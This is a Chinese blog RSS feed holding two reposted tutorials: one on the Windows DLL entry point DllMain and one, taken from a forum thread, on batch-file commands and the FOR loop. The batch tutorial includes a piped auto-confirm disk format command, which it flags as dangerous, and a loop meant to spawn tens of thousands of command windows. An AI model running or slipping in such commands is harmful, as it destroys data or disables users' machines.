<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[浪子天空]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[我们身在异乡，无休止地流浪，流浪，再流浪。]]></description>
<link>http://hi.baidu.com/csuwqz</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[DllMain详解]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/18cb5bdfb0d30b1962279855.html]]></link>
        <description><![CDATA[
		
		<div style="margin: 12pt 0cm 0pt">1&nbsp;&nbsp;  DLL的进入/退出函数</div>
<div style="margin: 6pt 0cm 0pt"><span style="color: #0000ff; font-size: medium"><strong><font size="3">1.1 DllMain简介</font></strong></span></div>
<div style="text-indent: 21pt">跟exe有个main或者WinMain入口函数一样，DLL也有一个入口函数，就是DllMain。以&ldquo;DllMain&rdquo;为关键字，来看看MSDN帮助文档怎么介绍这个函数的。</div>
<div style="text-indent: 21pt"><span style="color: red">The <strong>DllMain</strong> function is an optional method of entry into a dynamic-link library (DLL)</span><span style="color: red">。</span>（简要翻译：对于一个Dll模块，DllMain函数是可选的。）这句话很重要，很多初学者可能都认为一个动态链接库肯定要有DllMain函数。其实不然，像很多仅仅包含资源信息的DLL是没有DllMain函数的。</div>
<div style="margin: 6pt 0cm 0pt"><span style="color: #0000ff; font-size: medium"><strong><font size="3">1.2 何时调用DllMain</font></strong></span></div>
<div style="word-break: break-all"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>系统是在什么时候调用DllMain函数的呢？静态链接时，或动态链接时调用LoadLibrary和FreeLibrary都会调用DllMain函数。DllMain的第三个参数fdwReason指明了系统调用Dll的原因，它可能是DLL_PROCESS_ATTACH、DLL_PROCESS_DETACH、DLL_THREAD_ATTACH和DLL_THREAD_DETACH。以下从这四种情况来分析系统何时调用了DllMain。<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span></div>
<div style="margin: 6pt 0cm 0pt">1.2.1 DLL_PROCESS_ATTACH</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>大家都知道，一个程序要调用Dll里的函数，首先要先把DLL文件映射到进程的地址空间。要把一个DLL文件映射到进程的地址空间，有两种方法：静态链接和动态链接的LoadLibrary或者LoadLibraryEx。</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>当一个DLL文件被映射到进程的地址空间时，系统调用该DLL的DllMain函数，传递的fdwReason参数为DLL_PROCESS_ATTACH。这种调用只会发生在第一次映射时。如果同一个<span style="color: red">进程后来为已经映射进来的</span>DLL再次调用LoadLibrary或者LoadLibraryEx，操作系统只会增加DLL的使用次数，它不会再用DLL_PROCESS_ATTACH调用DLL的DllMain函数。不同进程用LoadLibrary同一个DLL时，每个进程的第一次映射都会用DLL_PROCESS_ATTACH调用DLL的DllMain函数。</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>可参考DllMainTest的DLL_PROCESS_ATTACH_Test函数。</div>
<div style="margin: 6pt 0cm 0pt">1.2.2 DLL_PROCESS_DETACH</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>当DLL被从进程的地址空间解除映射时，系统调用了它的DllMain，传递的fdwReason值是DLL_PROCESS_DETACH。当DLL处理该值时，它应该执行进程相关的清理工作。</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>那么什么时候DLL被从进程的地址空间解除映射呢？两种情况：</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>◆<span>FreeLibrary解除DLL映射（有几个</span>LoadLibrary，就要有几个FreeLibrary）</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ◆进程结束而解除<span>DLL映射，在进程结束前还没有解除DLL的映射，进程结束后会解除DLL映射。（如果进程的终结是因为调用了TerminateProcess，系统就不会用DLL_PROCESS_DETACH来调用DLL的DllMain函数。这就意味着DLL在进程结束前没有机会执行任何清理工作。）</span></div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>注意：当用DLL_PROCESS_ATTACH调用DLL的DllMain函数时，如果返回FALSE，说明没有初始化成功，系统仍会用DLL_PROCESS_DETACH调用DLL的DllMain函数。因此，必须确保没有清理那些没有成功初始化的东西。</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>可参考DllMainTest的DLL_PROCESS_DETACH_Test函数。</div>
<div style="margin: 6pt 0cm 0pt">1.2.3 DLL_THREAD_ATTACH</div>
<div><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>当进程创建一线程时，系统查看当前映射到进程地址空间中的所有DLL文件映像，并用值DLL_THREAD_ATTACH调用DLL的DllMain函数。</div>
<div style="text-indent: 21pt">新创建的线程负责执行这次的DLL的DllMain函数，只有当所有的DLL都处理完这一通知后，系统才允许进程开始执行它的线程函数。</div>
<div style="text-indent: 21pt; word-break: break-all">注意跟DLL_PROCESS_ATTACH的区别，我们在前面说过，第n(n&gt;=2)次以后地把DLL映像文件映射到进程的地址空间时，是不再用DLL_PROCESS_ATTACH调用DllMain的。而DLL_THREAD_ATTACH不同，进程中的每次建立线程，都会用值DLL_THREAD_ATTACH调用DllMain函数，哪怕是线程中建立线程也一样。</div>
<div style="margin: 6pt 0cm 0pt">1.2.4 DLL_THREAD_DETACH</div>
<div style="word-break: break-all"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>如果线程调用了ExitThread来结束线程（线程函数返回时，系统也会自动调用ExitThread），系统查看当前映射到进程空间中的所有DLL文件映像，并用DLL_THREAD_DETACH来调用DllMain函数，通知所有的DLL去执行线程级的清理工作。</div>
<div style="word-break: break-all"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  </span>注意：如果线程的结束是因为系统中的一个线程调用了TerminateThread，系统就不会用值DLL_THREAD_DETACH来调用所有DLL的DllMain函数。</div>
<div style="margin: 6pt 0cm 0pt"><span style="color: #0000ff; font-size: medium"><strong><font size="3">1.3 为DllMain换名</font></strong></span></div>
<div style="text-indent: 21pt">在早期的SDK版本中，DllMain是叫做DllEntryPoint。其实有一件鲜为人知的事：一个Dll的入口函数名是可以自己定义的。下面我将以VC++6.0为例来演示如何更改。首先要说明一点，虽然DllMain可以换成其他函数名，但函数的参数和返回值必须和DllMain一样。而且这个函数要为__stdcall类型（DllMain本身也是__stdcall类型）。</div>
<div style="text-indent: 21pt">打开VC++菜单<strong><span style="font-size: 10pt">Project\Settings\Link tab\ Output in the Category box</span></strong><strong><span style="font-size: 10pt">，</span></strong>如下图，在Entry-point symbol中输入要替换DllMain的函数名（当然这个函数名是你程序中已经实现的函数）。Entry-point symbol是干么的呢？可以以关键字&ldquo;Entry-point symbol&rdquo;搜索MSDN帮助文档查看，搜索时，打钩&ldquo;仅搜索标题&rdquo;会更快定位。</div>
<div style="text-indent: 21pt"><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/benkaoya/1.jpg"></div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  按OK后，如果马上编译的话会出现如下错误：</div>
<div><strong>LIBCMTD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main</strong></div>
<div><strong>Debug/Dll.dll : fatal error LNK1120: 1 unresolved externals</strong></div>
<div style="text-indent: 21pt">打开VC++菜单<strong><span style="font-size: 10pt">Project\Settings\C/C++</span></strong>选项卡，如下图，在Project Options：末尾的地方添加&rdquo;<span style="color: red">/D&rdquo;</span>（图中蓝色高亮的地方），要注意位置，我试了，要把/D放到/GZ后面也会链接错误，我也不懂为什么，^_^。按OK，再次编译，成功。大家可以自己测试下到底有没有更改成功，什么，如果测试？打出调式信息啊。</div>
<div style="text-indent: 21pt"><img src="http://p.blog.csdn.net/images/p_blog_csdn_net/benkaoya/2.jpg"></div>
<div style="margin: 7.8pt 0cm 0pt"><span style="color: #0000ff; font-size: medium"><strong><font size="3">1.4 DisableThreadLibraryCalls</font></strong></span></div>
<div style="text-indent: 21pt">看帮助就知道它是干么用的：</div>
<div style="text-indent: 21pt">The <strong>DisableThreadLibraryCalls</strong> function disables the DLL_THREAD_ATTACH and DLL_THREAD_DETACH notifications for the dynamic-link library (DLL) specified by <em>hLibModule</em>. This can reduce the size of the working code set for some applications.</div>
<div style="text-indent: 21pt">转自:http://blog.csdn.net/benkaoya/archive/2008/06/02/2504781.aspx</div> <a href="http://hi.baidu.com/csuwqz/blog/item/18cb5bdfb0d30b1962279855.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/csuwqz/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/csuwqz/blog/item/18cb5bdfb0d30b1962279855.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-30  10:45</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[csuwqz]]></author>
		<guid>http://hi.baidu.com/csuwqz/blog/item/18cb5bdfb0d30b1962279855.html</guid>
</item>

<item>
        <title><![CDATA[批处理bat编程详解]]></title>
        <link><![CDATA[http://hi.baidu.com/csuwqz/blog/item/6212aafe101b3d3b5d600854.html]]></link>
        <description><![CDATA[
		
		<p><strong>批处理语法，bat语法</strong></p>
<p>批处理就是把一批或者说是一条条命令放在一个文本里,然后批量执行!执行这</p>
<p>一批命令的文件的扩展名是<strong>BAT文件</strong>或者<strong>CMD</strong>,把任何一批命令放入在有这样扩展名的文件里,执行时里面的命令就会一条条的执行完,当然</p>
<p>我们还可以在其中加入一些逻辑判断的语句,让里面的命令在满足一定条件时执行指定的命令.</p>
<p>&nbsp;&nbsp;&nbsp;  了解了大概意思后,我们正式开始学习.先看一个简单的例子!<br>
<br>
@echo off<br>
echo &quot;欢迎来到非常BAT!&quot;<br>
pause</p>
<p>把上面的3条命令保存为test.bat或者test.cmd然后执行,他就会在屏幕上显示二行话:&quot;欢迎来到非常BAT!请按任意键继续. . .&quot;<br>
这就是一个简单批处理文件了,我们来分析一下.</p>
<p>这个批处理文件一共就用了2条命令 &quot;echo&quot; 和&quot;pause&quot; 还有一个特殊符号&quot;@&quot;<br>
@符号在批处理中的作用是关闭当前行命令的回显,也就是不显示执行的是什么命令,只显示命令的结果!<br>
你可以执行下面这个批处理文件来理解,保存为*.bat或者*.CMD<br>
@echo 你好<br>
echo 你好<br>
@pause</p>
<p><br>
echo命令的作用有两个,一个是在CMD上回显一行内容.如:echo &quot;欢迎来到非常BAT!&quot;,还一个是关闭命令的回显:echo off<br>
echo off的作用就相当于在每条命令前面加一个@符号,这样所有的命令将只会显示结果不显示命令.<br>
我们在echo off这命令前加一个@符号是为了不让echo off这条命令本身显示出来,让批处理更完美!</p>
<p><br>
pause命令就是暂停的意思,防止批处理执行完后直接退出!执行pause命令后会自动在CMD里显示&quot;请按任意键继续. . .&quot;这样一行话!</p>
<p><br>
从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么</p>
<p>在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!</p>
<p>(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)</p>
<p><br>
批处理的常见命令<br>
REM<br>
ECHO<br>
GOTO<br>
CALL<br>
PAUSE<br>
IF</p>
<p>还有（FOR，SETLOCAL，SHIFT）这几个命令比较难，不适合写在基础篇,以后说明!</p>
<p>批处理定义：顾名思义，批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件，其扩展名为BAT。<br>
这些命令统称批处理命令。</p>
<p>介绍命令</p>
<p>1、REM</p>
<p>REM是个注释命令，一般用来给程序加上注解，该命令后的内容在程序执行时，将不会被显示和执行。</p>
<p>例：REM 这个命令就是注释</p>
<p>这一句将不会被执行</p>
<p>2、ECHO</p>
<p>ECHO是一个回显命令，主要参数有OFF和ON。一般用ECHO MESSAGE来显示一个特定的消息。</p>
<p>例：<br>
Echo off<br>
Rem 以上代表关闭回显（就是不显示所执行的命令）<br>
Echo 这个就是消息（message)<br>
Rem 以上代表显示&ldquo;这就是消息（message)&rdquo;这列字符</p>
<p>咱们来看看执行结果：</p>
<p><br>
3、GOTO</p>
<p>GOTO会点编程的朋友就会知道这是跳转的意思。<br>
在批处理中允许以&ldquo;:XXX&rdquo;来构建一个标号，然后用GOTO XXX直接来执行标号后的命令。</p>
<p>例：</p>
<p>:lable<br>
REM 上面就是名为LABEL的标号<br>
DIR C:\<br>
DIR D:\<br>
GOTO lable<br>
REM 以上程序跳转标号LABEL处继续执行</p>
<p>咱们来看看结果：</p>
<p>4、CALL</p>
<p>CALL命令可以在批处理执行过程中调用另一个批处理，当另一个批处理执行完后，再继续执行原来的批处理</p>
<p>例：</p>
<p>创建一个2.BAT，内容如下<br>
ECHO 这就是2的内容</p>
<p>创建一个1.BAT，内容如下<br>
ECHO 这是1的内容<br>
CALL 2.BAT<br>
ECHO 1和2的内容全部显示完成。</p>
<p>执行1.BAT,来看看结果：</p>
<p>5、PAUSE</p>
<p>PAUSE，玩游戏的人都知道，暂停的意思<br>
在这里就是停止系统命令的执行并显示下面的内容。</p>
<p>例：</p>
<p>PAUSE</p>
<p>6、IF</p>
<p>IF 条件判断语句，语法格式如下：</p>
<p>IF [NOT] ERRORLEVEL number command<br>
IF [NOT] string1==string2 command<br>
IF [NOT] EXIST filename command</p>
<p>解释下：<br>
[NOT]：将返回结果取反值，就是&ldquo;如果没有&rdquo;的意思</p>
<p>ERRORLEVEL：<br>
是命令执行完成后返回的退出值</p>
<p>Number:<br>
退出值的数字取值范围0~255，判断时值的排列顺序应该由大到小。返回的值大于等于指定的值时，条件成立</p>
<p>string1==string2：<br>
string1和string2都为字符的数据，英文内字符的大小写将看作不同，这个条件中的等于号必须是两个（绝对相等的意思）<br>
条件相等后即执行后面的command</p>
<p>EXIST filename:<br>
为文件或目录存在的意思</p>
<p>IF ERRORLEVEL这个句子必须放在某一个命令的后面，执行命令后由IF ERRORLEVEL 来判断命令的返回值。</p>
<p>例：</p>
<p>（1）<br>
IF [NOT] ERRORLEVEL number command<br>
检测命令执行完后的返回值做出判断</p>
<p>echo off<br>
dir z:<br>
rem 如果退出代码为1(不成功）就跳至标题1处执行<br>
IF ERRORLEVEL 1 goto 1<br>
REM 如果退出代码为0（成功）就跳至标题0处执行<br>
IF ERRORLEVEL 0 goto 0<br>
:0<br>
echo 命令执行成功！<br>
Rem 程序执行完毕跳至标题exit处退出<br>
goto exit<br>
:1<br>
echo 命令执行失败！<br>
Rem 程序执行完毕跳至标题exit处退出<br>
goto exit<br>
:exit<br>
Rem 这里是程序的出口</p>
<p>(2)IF string1==string2 command<br>
检测当前变量的值做出判断</p>
<p>ECHO OFF<br>
IF 1==2 goto no<br>
Echo 变量相等!<br>
goto exit<br>
:no<br>
echo 变量不相等<br>
goto exit<br>
:exit</p>
<p>看看效果，敲击这个命令1.bat 数字</p>
<p>(3)IF [NOT] EXIST filename command<br>
发现特定的文件做出判断</p>
<p>echo off<br>
IF not EXIST autoexec.bat goto 1<br>
echo 文件存在成功！<br>
goto exit<br>
:1<br>
echo 文件不存在失败！<br>
goto exit<br>
:exit</p>
<p>这个批处理大家可以放在C盘和D盘分别执行，看看效果</p>
<p><br>
特殊符号:</p>
<p>1. @<br>
2. &gt;<br>
3. &gt;&gt;<br>
4. |<br>
5. ^<br>
6. &amp;<br>
7. &amp;&amp;<br>
8. &quot;&quot;<br>
9. ,<br>
10. ;</p>
<p><br>
废话少说，开讲了</p>
<p>一、 @</p>
<p>这个字符在批处理中的意思是关闭当前行的回显。我们从前几课知道<br>
ECHO OFF可以关闭掉整个批处理命令的回显，但不能关掉ECHO OFF这个命令，现在我们在ECHO OFF这个命令前加个@，就可以达到所</p>
<p>有命令均不回显的要求</p>
<p>1.bat<br>
echo off<br>
dir d:\</p>
<p>2.bat<br>
@echo off<br>
dir d:\</p>
<p>二、 &gt;</p>
<p>这个字符的意思是传递并且覆盖，他所起的作用是将运行的回显结果传递到后面的范围（后边可以是文件，也可以是默认的系统控</p>
<p>制台）</p>
<p>比如：</p>
<p>文件1.txt 的文件内容是：</p>
<p>1+1</p>
<p>使用命令：dir *.txt &gt;1.txt</p>
<p>这时候1.txt 内容如下</p>
<p>驱动器 C 中的卷没有标签。<br>
卷的序列号是 3827-1BDD</p>
<p>C:\ 的目录</p>
<p>2004-05-25 00:57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  17,755,907 Log.txt<br>
2004-05-26 15:21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  3 1.txt<br>
2004-05-26 15:21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  0 2.txt<br>
3 个文件&nbsp;&nbsp;&nbsp;  17,755,910 字节<br>
0 个目录&nbsp;&nbsp;&nbsp;  339,111,936 可用字节</p>
<p><br>
三、&gt;&gt;</p>
<p>这个符号的作用和&gt;有点类似，但他们的区别是&gt;&gt;是传递并在文件的末尾追加，而&gt;是覆盖</p>
<p>用法同上</p>
<p>同样拿1.txt做例子</p>
<p>内容是1+1</p>
<p>使用命令：dir *.txt &gt;&gt;1.txt</p>
<p>咱们来看看显示的结果如何</p>
<p><br>
四、|</p>
<p>这是一个管道传输命令，意思是将上一命令执行的结果传到下一个命令去处理</p>
<p>例如：</p>
<p>dir c:\|find &quot;txt&quot;</p>
<p>以上命令是：查找C：\所有，并发现TXT字符串。<br>
FIND的功能请用 FIND /? 自行查看</p>
<p>在不使format的自动格式化参数时，我是这样来自动格式化A盘的</p>
<p>echo y|format a: /s /q /v:system</p>
<p>用过format的都知道，再格盘时要输入y来确认是否格盘，这个命令前加上echo y并用|字符来将echo y的结果传给format命令</p>
<p>从而达到自动输入y的目的</p>
<p>（这条命令有危害性，测试时请慎重）</p>
<p><br>
五、^</p>
<p>^是对特殊符号&quot;&lt;&quot;,&quot;&gt;&quot;,&quot;&amp;&quot;的前导字符，在命令中他将以上3个符号的特殊功能去掉，仅仅只把他们当成符号而不使用他们的特殊意</p>
<p>义。</p>
<p>比如</p>
<p>echo test ^&gt;1.txt</p>
<p>结果则是</p>
<p><br>
他没有追加在1.txt里，呵呵。只是显示了出来</p>
<p><br>
六、 &amp;</p>
<p>这个符号允许在一行中使用2个以上不同的命令，当第一个命令执行失败了，也不影响后边的命令执行。</p>
<p>比如：</p>
<p>dir z:\ &amp; dir y:\ &amp; dir c:\</p>
<p>以上命令会连续显示z,y,c盘的内容，不理会该盘是否存在</p>
<p><br>
七、 &amp;&amp;</p>
<p>这个命令和上边的类似，但区别是，第一个命令失败时，后边的命令也不会执行</p>
<p><br>
dir z:\ &amp;&amp; dir y:\ &amp;&amp; dir c:\</p>
<p><br>
八、&quot;&quot;</p>
<p>双引号允许在字符串中包含空格，进入一个特殊目录可以用如下方法</p>
<p>cd &quot;program files&quot;<br>
cd progra~1<br>
cd pro*</p>
<p>以上三种方法都可以进入program files这个目录</p>
<p><br>
九、,</p>
<p>逗号相当于空格，在某些情况下&ldquo;,&rdquo;可以用来当做空格使</p>
<p>比如</p>
<p>dir,c:\</p>
<p>十、；</p>
<p>分号，当命令相同时，可以将不同目标用；来隔离，但执行效果不变，如执行过程中发生错误，则只返回错误报告，但程序还是会</p>
<p>执行。</p>
<p>比如：</p>
<p>dir c:\;d:\e:\;f:\</p>
<p>以上命令相当于</p>
<p>dir c:\<br>
dir d:\<br>
dir e:\<br>
dir f:\</p>
<p> </p>
<p>Posted: 2008-04-15 14:35 | [楼 主]</p>
<p>skyxiaodi<br>
小鸡鸡，不怕不怕</p>
<p>&nbsp;&nbsp;  <br>
级别: 总版主</p>
<p><br>
配偶: 单身<br>
精华: 12<br>
发帖: 189<br>
魅力值: 19 ml<br>
精英币: 1870 jyb<br>
贡献值: 10 gx<br>
好评度: 250 点<br>
在线时间:7(小时)<br>
注册时间:2008-03-24<br>
最后登录:2008-10-21 小 中 大&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
<br>
第二节(for命令详解)</p>
<p>看了看第一节的东西,发现那些简单的命令都有详细解释,实在想不出什么更好的东西来解释他们,就直接来一个&quot;FOR命令详解&quot;在其中运用这些东西来解释吧!</p>
<p>讲FOR之前呢,咋先告诉各位新手朋友,如果你有什么命令不懂,直接在CMD下面输入:<br>
name /? 这样的格式来看系统给出的帮助文件,比如for /? 就会把FOR命令的帮助全部显示出来!当然许多菜鸟同志都看不懂....所以才会有那么多批处理文章!!!!俺也照顾菜鸟,把FOR命令用我自己的方式说明下!</p>
<p>正式开始:</p>
<p>FOR这条命令基本上都被用来处理文本,我们这次除了要说他处理文本的作用外还要讲他的其他一些好用的功能!</p>
<p>看看他的基本格式(这里我引用的是批处理中的格式,直接在命令行只需要一个%号)<br>
FOR 参数 %%变量名 IN (相关文件或命令) DO 执行的命令</p>
<p>参数:FOR有4个参数 /d /l /r /f 他们的作用我在下面用例子解释<br>
%%变量名 :这个变量名可以是小写a-z或者大写A-Z,他们区分大小写哦~<br>
FOR会把每个读取到的值给他!<br>
IN:命令的格式,照写就是了!<br>
(相关文件或命令) :FOR要把什么东西读取然后赋值给变量,不懂的话看下面的例子<br>
do:命令的格式,照写就是了!<br>
执行的命令:对每个变量的值要执行什么操作就写在这.</p>
<p>看不懂我的这些说明,可以在CMD输入for /?看系统提供的帮助!我这里也给出来吧,大家对照<br>
FOR %%variable IN (set) DO command [command-parameters]</p>
<p>%%variable 指定一个单一字母可替换的参数。<br>
(set)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  指定一个或一组文件。可以使用通配符。<br>
command&nbsp;&nbsp;&nbsp;  指定对每个文件执行的命令。<br>
command-parameters<br>
为特定命令指定参数或命令行开关。</p>
<p><br>
现在开始讲每个参数的意思</p>
<p>/d <br>
仅为目录 <br>
如果 Set (也就是我上面写的 &quot;相关文件或命令&quot;) 包含通配符（* 和 ?），将对与 Set 相匹配的每个目录（而不是指定目录中的文件组）执行指定的 Command。</p>
<p>这个参数其实我也没弄太懂...有错误希望各位纠正!<br>
系统帮助的格式:FOR /D %%variable IN (set) DO command<br>
他主要用于目录搜索,不会搜索文件,看这样的例子<br>
@echo off<br>
for /d %%i in (*) do @echo %%i<br>
pause<br>
把他保存放在C盘根目录执行,就会把C盘目录下的全部目录名字打印出来,而文件名字一个也不显示!<br>
在来一个,比如我们要把当前路径下文件夹的名字只有1-3个字母的打出来<br>
@echo off<br>
for /d %%i in (???) do @echo %%i<br>
pause<br>
这样的话如果你当前目录下有目录名字只有1-3个字母的,就会显示出来,没有就不显示了</p>
<p>这里解释下*号和?号的作用,*号表示任意N个字符,而?号只表示任意一个字符</p>
<p>知道作用了,给大家个思考题目!</p>
<p>@echo off<br>
for /d %%i in (window?) do @echo %%i<br>
pause<br>
保存到C盘下执行,会显示什么呢?自己看吧!<br>
/D参数只能显示当前目录下的目录名字,这个大家要注意!</p>
<p><br>
/R<br>
递归 <br>
进入根目录树 [Drive:]Path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则认为是当前目录。如果 Set 只是一个句点 (.)，则只枚举目录树。<br>
系统帮助的格式:FOR /R [[drive:]path] %%variable IN (set) DO command</p>
<p>上面我们知道,/D只能显示当前路径下的目录名字,那么现在这个/R也是和目录有关,他能干嘛呢?放心他比/D强大多了!<br>
他可以把当前或者你指定路径下的文件名字全部读取,注意是文件名字,有什么用看例子!</p>
<p>@echo off<br>
for /r c:\ %%i in (*.exe) do @echo %%i<br>
pause<br>
咋们把这个BAT保存到D盘随便哪里然后执行,我会就会看到,他把C盘根目录,和每个目录的子目录下面全部的EXE文件都列出来了!!!!</p>
<p>再来一个<br>
@echo off<br>
for /r %%i in (*.exe) do @echo %%i<br>
pause<br>
参数不一样了吧!这个命令前面没加那个C:\也就是搜索路径,这样他就会以当前目录为搜索路径,比如你这个BAT你把他防灾d:\test目录下执行,那么他就会把D:\test目录和他下面的子目录的全部EXE文件列出来!!!</p>
<p>这个参数大家因该理解了吧!还是满好玩的命令!</p>
<p><br>
/L<br>
迭代数值范围 <br>
使用迭代变量设置起始值 (Start#)，然后逐步执行一组范围的值，直到该值超过所设置的终止值 (End#)。/L 将通过对 Start# 与 End# 进行比较来执行迭代变量。如果 Start# 小于 End#，就会执行该命令。如果迭代变量超过 End#，则命令解释程序退出此循环。还可以使用负的 Step# 以递减数值的方式逐步执行此范围内的值。例如，(1,1,5) 生成序列 1 2 3 4 5，而 (5,-1,1) 则生成序列 (5 4 3 2 1)。语法是：</p>
<p>系统帮助的格式:for /L %% Variable in (Start#,Step#,End#) do Command</p>
<p>看着这说明有点晕吧!咋们看例子就不晕了!</p>
<p>@echo off<br>
for /l %%i in (1,1,5) do @echo %%i<br>
pause<br>
保存执行看效果,他会打印从1 2 3 4 5 这样5个数字<br>
(1,1,5)这个参数也就是表示从1开始每次加1直到5终止!</p>
<p>大会晕,就打印个数字有P用...好的满足大家,看这个例子<br>
@echo off<br>
for /l %%i in (1,1,5) do start cmd<br>
pause<br>
执行后是不是吓了一跳,怎么多了5个CMD窗口,呵呵!如果把那个 (1,1,5)改成 (1,1,65535)会有什么结果,我先告诉大家,会打开65535个CMD窗口....这么多你不死机算你强!<br>
当然我们也可以把那个start cmd改成md %%i 这样就会建立指定个目录了!!!名字为1-65535</p>
<p>看完这个被我赋予破坏性质的参数后,我们来看最后一个参数</p>
<p>/f</p>
<p>\迭代及文件解析 <br>
使用文件解析来处理命令输出、字符串及文件内容。使用迭代变量定义要检查的内容或字符串，并使用各种 ParsingKeywords 选项进一步修改解析方式。使用 ParsingKeywords 令牌选项指定哪些令牌应该作为迭代变量传递。请注意：在没有使用令牌选项时，/F 将只检查第一个令牌。<br>
文件解析过程包括读取输出、字符串或文件内容，将其分成独立的文本行以及再将每行解析成零个或更多个令牌。然后通过设置为令牌的迭代变量值，调用 for 循环。默认情况下，/F 传递每个文件每一行的第一个空白分隔符号。跳过空行。</p>
<p>系统帮助的格式:<br>
for /F &quot;ParsingKeywords&quot; %% Variable in (FileNameSet) do Command</p>
<p>有没有发现这个参数说明比上面几个都多...没办法,人们用FOR命令主要也就是用/f参数,FOR的主场啊!大家得好好看!</p>
<p>先来解释下那个多出来的&quot;ParsingKeywords&quot; <br>
他表示4个参数<br>
eol=c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 指一个行注释字符的结尾(就一个)<br>
skip=n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 指在文件开始时忽略的行数。<br>
delims=xxx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 指分隔符集。这个替换了空格和跳格键的<br>
默认分隔符集。<br>
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<br>
的 for 本身。这会导致额外变量名称的分配。m-n<br>
格式为一个范围。通过 nth 符号指定 mth。如果<br>
符号字符串中的最后一个字符星号，<br>
那么额外的变量将在最后一个符号解析之后<br>
分配并接受行的保留文本。<br>
usebackq&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  - 指定新语法已在下类情况中使用:<br>
在作为命令执行一个后引号的字符串并且一个单<br>
引号字符为文字字符串命令并允许在 filenameset<br>
中使用双引号扩起文件名称。</p>
<p>先别晕了!我这就举个例子帮助大家来理解这些参数!<br>
usebackq这个参数不用理解了,系统默认会给我们加上!</p>
<p>为了能使用这个例子,我们先新建一个文本文件,在里面打上这些内容保存为test.txt:</p>
<p>;郁闷啊!<br>
您好! 欢迎来到, 非常批处理<br>
我们的网站 bbs.verybat.cn<br>
完毕!</p>
<p>@echo off<br>
FOR /F &quot;eol=; tokens=1 delims= &quot; %%i in (test.txt) do @echo %%i<br>
pause<br>
我们把这个BAT保存到和你的test.txt相同的目录下面然后执行<br>
我们会看到屏幕上会显示</p>
<p>您好!<br>
我们的网站<br>
完毕!</p>
<p>为什么会这样?我来解释<br>
这个命令会读取在当前目录下名为test.txt文件中的内容,将每一行的内容赋值给变量%%i,忽略掉以;号开头的行,并且以空格做为分隔符号,打印每行以空格做分隔符号的第一列</p>
<p>结果就是这样了!!<br>
如果改成</p>
<p><br>
当然我们想要把全部文件内容直接打印出来就可以这样<br>
@echo off<br>
FOR /F &quot;delims=&quot; %%i in (test.txt) do @echo %%i<br>
pause</p>
<p>另外/F参数还可以以输出命令的结果看这个例子</p>
<p>@echo off<br>
FOR /F &quot;delims=&quot; %%i in ('net user') do @echo %%i<br>
pause</p>
<p>这样你本机全部帐号名字就出来了把扩号内的内容用两个单引号引起来就表示那个当命令执行,FOR会返回命令的每行结果,加那个&quot;delims=&quot; 是为了让我空格的行能整行显示出来,不加就只显示空格左边一列!</p>
<p><br>
基本上讲完了FOR的基本用法了...如果你看过FOR的系统帮助,你会发现他下面还有一些特定义的变量,这些我先不讲.大家因该都累了吧!你不累我累啊....</p>
<p>本节到此结速,希望对各位有所帮助!</p>
<p> </p>
<p>Posted: 2008-04-15 14:36 | 1 楼</p>
<p>skyxiaodi<br>
